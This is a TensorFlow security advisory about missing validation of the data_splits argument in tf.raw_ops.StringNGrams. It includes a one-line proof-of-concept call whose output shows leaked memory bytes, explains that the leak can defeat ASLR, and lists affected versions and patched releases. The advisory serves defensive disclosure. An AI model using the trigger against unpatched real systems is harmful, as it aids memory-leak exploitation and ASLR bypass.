Data leak in Tensorflow

Overview

Impact

The data_splits argument of tf.raw_ops.StringNGrams lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory

>>> tf.raw_ops.StringNGrams(data=["aa", "bb", "cc", "dd", "ee", "ff"], data_splits=[0,8], separator=" ", ngram_widths=[3], left_pad="", right_pad="", pad_width=0, preserve_short_sequences=False)
StringNGrams(ngrams=<tf.Tensor: shape=(6,), dtype=string, numpy=
array([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff',
       b'ee ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00',
       b'ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00 \x9b~\xa8q\x7f\x00\x00p\xf5j\xa7q\x7f\x00\x00H\xf8j\xa7q\x7f\x00\x00\xf0\xf3\xf7\x85q\x7f\x00\x00`}\xa6\x00\x00\x00\x00\x00`~\xa6\x00\x00\x00\x00\x00\xb0~\xeb\x9bq\x7f\x00'],...

All the binary strings after ee ff are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR.

Patches

We have patched the issue in 0462de5b544ed4731aa2fb23946ac22c01856b80 and will release patch releases for all versions between 1.15 and 2.3.

We recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected packages

• tensorflow < 1.15.4
• tensorflow >= 2.0.0, < 2.0.3
• tensorflow >= 2.1.0, < 2.1.2
• tensorflow >= 2.2.0, < 2.2.1
• tensorflow >= 2.3.0, < 2.3.1
• tensorflow-cpu < 1.15.4
• tensorflow-cpu >= 2.0.0, < 2.0.3
• tensorflow-cpu >= 2.1.0, < 2.1.2
• tensorflow-cpu >= 2.2.0, < 2.2.1
• tensorflow-cpu >= 2.3.0, < 2.3.1
• tensorflow-gpu < 1.15.4
• tensorflow-gpu >= 2.0.0, < 2.0.3
• tensorflow-gpu >= 2.1.0, < 2.1.2
• tensorflow-gpu >= 2.2.0, < 2.2.1
• tensorflow-gpu >= 2.3.0, < 2.3.1

Remediation

Upgrade to a patched release:

• tensorflow 1.15.4
• tensorflow 2.0.3
• tensorflow 2.1.2
• tensorflow 2.2.1
• tensorflow 2.3.1
• tensorflow-cpu 1.15.4
• tensorflow-cpu 2.0.3
• tensorflow-cpu 2.1.2
• tensorflow-cpu 2.2.1
• tensorflow-cpu 2.3.1
• tensorflow-gpu 1.15.4
• tensorflow-gpu 2.0.3
• tensorflow-gpu 2.1.2
• tensorflow-gpu 2.2.1
• tensorflow-gpu 2.3.1